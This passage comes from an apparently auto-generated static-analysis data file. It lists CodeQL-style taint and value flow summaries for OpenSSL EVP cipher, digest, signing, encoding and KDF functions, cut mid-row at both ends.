"EVP_DecryptInit_ex2", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "EVP_DecryptInit_ex2", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[*oiv]", "value", "dfc-generated"] + - ["", "", True, "EVP_DecryptInit_ex2", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[])", "", "Argument[1]", "Argument[*0].Field[*cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_DecryptInit_ex2", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[])", "", "Argument[1]", "Argument[*0].Field[*fetched_cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_DecryptInit_ex2", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[**oiv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DecryptInit_ex2", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DecryptInit_ex2", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[*oiv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DecryptInit_ex2", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[])", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DecryptInit_ex", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *)", "", "Argument[*4]", "Argument[*0].Field[**oiv]", "value", "dfc-generated"] + - ["", "", True, "EVP_DecryptInit_ex", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *)", "", "Argument[*4]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "EVP_DecryptInit_ex", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *)", "", "Argument[*4]", "Argument[*0].Field[*oiv]", "value", "dfc-generated"] + - ["", "", True, "EVP_DecryptInit_ex", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *)", "", "Argument[1]", "Argument[*0].Field[*cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_DecryptInit_ex", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *)", "", "Argument[1]", "Argument[*0].Field[*fetched_cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_DecryptInit_ex", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *)", "", "Argument[2]", "Argument[*0].Field[*engine]", "value", "dfc-generated"] + - ["", "", True, "EVP_DecryptInit_ex", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *)", "", "Argument[4]", "Argument[*0].Field[**oiv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DecryptInit_ex", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *)", "", "Argument[4]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DecryptInit_ex", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *)", "", "Argument[4]", "Argument[*0].Field[*oiv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DecryptUpdate", "(EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[*1]", "Argument[*0].Field[*final]", "value", "dfc-generated"] + - ["", "", True, "EVP_DecryptUpdate", "(EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[*2]", "Argument[*0].Field[*final]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DecryptUpdate", "(EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[*3]", "Argument[*0].Field[*buf]", "value", "dfc-generated"] + - ["", "", True, "EVP_DecryptUpdate", "(EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[*final]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DecryptUpdate", "(EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DecryptUpdate", "(EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[2]", "Argument[*0].Field[*final]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DecryptUpdate", "(EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DecryptUpdate", "(EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[3]", "Argument[*0].Field[*buf]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DecryptUpdate", "(EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[4]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "EVP_DigestFinal", "(EVP_MD_CTX *,unsigned char *,unsigned int *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "EVP_DigestFinal_ex", "(EVP_MD_CTX *,unsigned char *,unsigned int *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "EVP_DigestInit", "(EVP_MD_CTX *,const EVP_MD *)", "", "Argument[1]", "Argument[*0].Field[*digest]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestInit", "(EVP_MD_CTX *,const EVP_MD *)", "", "Argument[1]", "Argument[*0].Field[*fetched_digest]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestInit", "(EVP_MD_CTX *,const EVP_MD *)", "", "Argument[1]", "Argument[*0].Field[*reqdigest]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestInit_ex2", "(EVP_MD_CTX *,const EVP_MD *,const OSSL_PARAM[])", "", "Argument[1]", "Argument[*0].Field[*digest]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestInit_ex2", "(EVP_MD_CTX *,const EVP_MD *,const OSSL_PARAM[])", "", "Argument[1]", "Argument[*0].Field[*fetched_digest]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestInit_ex2", "(EVP_MD_CTX *,const EVP_MD *,const OSSL_PARAM[])", "", "Argument[1]", "Argument[*0].Field[*reqdigest]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestInit_ex", "(EVP_MD_CTX *,const EVP_MD *,ENGINE *)", "", "Argument[1]", "Argument[*0].Field[*digest]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestInit_ex", "(EVP_MD_CTX *,const EVP_MD *,ENGINE *)", "", "Argument[1]", "Argument[*0].Field[*fetched_digest]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestInit_ex", "(EVP_MD_CTX *,const EVP_MD *,ENGINE *)", "", "Argument[1]", "Argument[*0].Field[*reqdigest]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestInit_ex", "(EVP_MD_CTX *,const EVP_MD *,ENGINE *)", "", "Argument[2]", "Argument[*0].Field[**pctx].Field[*engine]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestInit_ex", "(EVP_MD_CTX *,const EVP_MD *,ENGINE *)", "", "Argument[2]", "Argument[*0].Field[*engine]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestSign", "(EVP_MD_CTX *,unsigned char *,size_t *,const unsigned char *,size_t)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DigestSign", "(EVP_MD_CTX *,unsigned char *,size_t *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DigestSignFinal", "(EVP_MD_CTX *,unsigned char *,size_t *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DigestSignFinal", "(EVP_MD_CTX *,unsigned char *,size_t *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DigestSignInit", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const EVP_MD *,ENGINE *,EVP_PKEY *)", "", "Argument[3]", "Argument[**1].Field[*engine]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestSignInit", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const EVP_MD *,ENGINE *,EVP_PKEY *)", "", "Argument[3]", "Argument[*0].Field[**pctx].Field[*engine]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestSignInit", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const EVP_MD *,ENGINE *,EVP_PKEY *)", "", "Argument[3]", "Argument[*0].Field[*engine]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestSignInit", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const EVP_MD *,ENGINE *,EVP_PKEY *)", "", "Argument[4]", "Argument[**1].Field[*pkey]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestSignInit", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const EVP_MD *,ENGINE *,EVP_PKEY *)", "", "Argument[4]", "Argument[*0].Field[**pctx].Field[*pkey]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestSignInit_ex", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[**1].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestSignInit_ex", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[**pctx].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestSignInit_ex", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[])", "", "Argument[*4]", "Argument[**1].Field[**propquery]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestSignInit_ex", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[])", "", "Argument[*4]", "Argument[*0].Field[**pctx].Field[**propquery]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestSignInit_ex", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[])", "", "Argument[3]", "Argument[**1].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestSignInit_ex", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[**pctx].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestSignInit_ex", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[])", "", "Argument[4]", "Argument[**1].Field[**propquery]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DigestSignInit_ex", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[])", "", "Argument[4]", "Argument[*0].Field[**pctx].Field[**propquery]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DigestSignInit_ex", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[])", "", "Argument[5]", "Argument[**1].Field[*pkey]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestSignInit_ex", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[])", "", "Argument[5]", "Argument[*0].Field[**pctx].Field[*pkey]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestVerify", "(EVP_MD_CTX *,const unsigned char *,size_t,const unsigned char *,size_t)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DigestVerifyFinal", "(EVP_MD_CTX *,const unsigned char *,size_t)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DigestVerifyInit", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const EVP_MD *,ENGINE *,EVP_PKEY *)", "", "Argument[3]", "Argument[**1].Field[*engine]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestVerifyInit", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const EVP_MD *,ENGINE *,EVP_PKEY *)", "", "Argument[3]", "Argument[*0].Field[**pctx].Field[*engine]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestVerifyInit", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const EVP_MD *,ENGINE *,EVP_PKEY *)", "", "Argument[3]", "Argument[*0].Field[*engine]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestVerifyInit", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const EVP_MD *,ENGINE *,EVP_PKEY *)", "", "Argument[4]", "Argument[**1].Field[*pkey]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestVerifyInit", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const EVP_MD *,ENGINE *,EVP_PKEY *)", "", "Argument[4]", "Argument[*0].Field[**pctx].Field[*pkey]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestVerifyInit_ex", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[**1].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestVerifyInit_ex", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[**pctx].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestVerifyInit_ex", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[])", "", "Argument[*4]", "Argument[**1].Field[**propquery]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestVerifyInit_ex", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[])", "", "Argument[*4]", "Argument[*0].Field[**pctx].Field[**propquery]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestVerifyInit_ex", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[])", "", "Argument[3]", "Argument[**1].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestVerifyInit_ex", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[**pctx].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestVerifyInit_ex", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[])", "", "Argument[4]", "Argument[**1].Field[**propquery]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DigestVerifyInit_ex", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[])", "", "Argument[4]", "Argument[*0].Field[**pctx].Field[**propquery]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DigestVerifyInit_ex", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[])", "", "Argument[5]", "Argument[**1].Field[*pkey]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestVerifyInit_ex", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[])", "", "Argument[5]", "Argument[*0].Field[**pctx].Field[*pkey]", "value", "dfc-generated"] + - ["", "", True, "EVP_ENCODE_CTX_copy", "(EVP_ENCODE_CTX *,const EVP_ENCODE_CTX *)", "", "Argument[*1]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "EVP_ENCODE_CTX_copy", "(EVP_ENCODE_CTX *,const EVP_ENCODE_CTX *)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "EVP_ENCODE_CTX_num", "(EVP_ENCODE_CTX *)", "", "Argument[*0].Field[*num]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_EncodeBlock", "(unsigned char *,const unsigned char *,int)", "", "Argument[*1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "EVP_EncodeBlock", "(unsigned char *,const unsigned char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "EVP_EncodeBlock", "(unsigned char *,const unsigned char *,int)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "EVP_EncodeFinal", "(EVP_ENCODE_CTX *,unsigned char *,int *)", "", "Argument[*0].Field[*enc_data]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_EncodeFinal", "(EVP_ENCODE_CTX *,unsigned char *,int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_EncodeUpdate", "(EVP_ENCODE_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[*3]", "Argument[*0].Field[*enc_data]", "value", "dfc-generated"] + - ["", "", True, "EVP_EncodeUpdate", "(EVP_ENCODE_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[*3]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_EncodeUpdate", "(EVP_ENCODE_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_EncodeUpdate", "(EVP_ENCODE_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[3]", "Argument[*0].Field[*enc_data]", "taint", "dfc-generated"] + - ["", "", True, "EVP_EncodeUpdate", "(EVP_ENCODE_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[3]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_EncodeUpdate", "(EVP_ENCODE_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[4]", "Argument[*0].Field[*num]", "value", "dfc-generated"] + - ["", "", True, "EVP_EncryptFinal", "(EVP_CIPHER_CTX *,unsigned char *,int *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "EVP_EncryptFinal_ex", "(EVP_CIPHER_CTX *,unsigned char *,int *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "EVP_EncryptInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *)", "", "Argument[*3]", "Argument[*0].Field[**oiv]", "value", "dfc-generated"] + - ["", "", True, "EVP_EncryptInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *)", "", "Argument[*3]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "EVP_EncryptInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *)", "", "Argument[*3]", "Argument[*0].Field[*oiv]", "value", "dfc-generated"] + - ["", "", True, "EVP_EncryptInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *)", "", "Argument[1]", "Argument[*0].Field[*cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_EncryptInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *)", "", "Argument[1]", "Argument[*0].Field[*fetched_cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_EncryptInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *)", "", "Argument[3]", "Argument[*0].Field[**oiv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_EncryptInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *)", "", "Argument[3]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_EncryptInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *)", "", "Argument[3]", "Argument[*0].Field[*oiv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_EncryptInit_ex2", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[**oiv]", "value", "dfc-generated"] + - ["", "", True, "EVP_EncryptInit_ex2", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "EVP_EncryptInit_ex2", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[*oiv]", "value", "dfc-generated"] + - ["", "", True, "EVP_EncryptInit_ex2", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[])", "", "Argument[1]", "Argument[*0].Field[*cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_EncryptInit_ex2", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[])", "", "Argument[1]", "Argument[*0].Field[*fetched_cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_EncryptInit_ex2", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[**oiv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_EncryptInit_ex2", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_EncryptInit_ex2", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[*oiv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_EncryptInit_ex2", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[])", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "EVP_EncryptInit_ex", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *)", "", "Argument[*4]", "Argument[*0].Field[**oiv]", "value", "dfc-generated"] + - ["", "", True, "EVP_EncryptInit_ex", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *)", "", "Argument[*4]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "EVP_EncryptInit_ex", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *)", "", "Argument[*4]", "Argument[*0].Field[*oiv]", "value", "dfc-generated"] + - ["", "", True, "EVP_EncryptInit_ex", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *)", "", "Argument[1]", "Argument[*0].Field[*cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_EncryptInit_ex", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *)", "", "Argument[1]", "Argument[*0].Field[*fetched_cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_EncryptInit_ex", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *)", "", "Argument[2]", "Argument[*0].Field[*engine]", "value", "dfc-generated"] + - ["", "", True, "EVP_EncryptInit_ex", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *)", "", "Argument[4]", "Argument[*0].Field[**oiv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_EncryptInit_ex", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *)", "", "Argument[4]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_EncryptInit_ex", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *)", "", "Argument[4]", "Argument[*0].Field[*oiv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_EncryptUpdate", "(EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[*3]", "Argument[*0].Field[*buf]", "value", "dfc-generated"] + - ["", "", True, "EVP_EncryptUpdate", "(EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_EncryptUpdate", "(EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "EVP_EncryptUpdate", "(EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[3]", "Argument[*0].Field[*buf]", "taint", "dfc-generated"] + - ["", "", True, "EVP_EncryptUpdate", "(EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[4]", "Argument[*0].Field[*buf]", "taint", "dfc-generated"] + - ["", "", True, "EVP_EncryptUpdate", "(EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[4]", "Argument[*0].Field[*buf_len]", "taint", "dfc-generated"] + - ["", "", True, "EVP_EncryptUpdate", "(EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[4]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "EVP_KDF_CTX_dup", "(const EVP_KDF_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "EVP_KDF_CTX_dup", "(const EVP_KDF_CTX *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "EVP_KDF_CTX_kdf", "(EVP_KDF_CTX *)", "", "Argument[*0].Field[**meth]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_KDF_CTX_kdf", "(EVP_KDF_CTX *)", "", "Argument[*0].Field[*meth]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_KDF_CTX_new", "(EVP_KDF *)", "", "Argument[0]", "ReturnValue[*].Field[*meth]", "value", "dfc-generated"] + - ["", "", True, "EVP_KDF_get0_description", "(const EVP_KDF *)", "", "Argument[*0].Field[**description]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_KDF_get0_description", "(const EVP_KDF *)", "", "Argument[*0].Field[*description]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_KDF_get0_name", "(const EVP_KDF *)", "", "Argument[*0].Field[**type_name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_KDF_get0_name", "(const EVP_KDF *)", "", "Argument[*0].Field[*type_name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_KDF_get0_provider", "(const EVP_KDF *)", "", "Argument[*0].Field[**prov]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_KDF_get0_provider", "(const EVP_KDF *)", "", "Argument[*0].Field[*prov]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_KDF_names_do_all", "(const EVP_KDF *,..(*)(..),void *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "EVP_KEM_get0_description", "(const EVP_KEM *)", "", "Argument[*0].Field[**description]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_KEM_get0_description", "(const EVP_KEM *)", "", "Argument[*0].Field[*description]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_KEM_get0_name", "(const EVP_KEM *)", "", "Argument[*0].Field[**type_name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_KEM_get0_name", "(const EVP_KEM *)", "", "Argument[*0].Field[*type_name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, 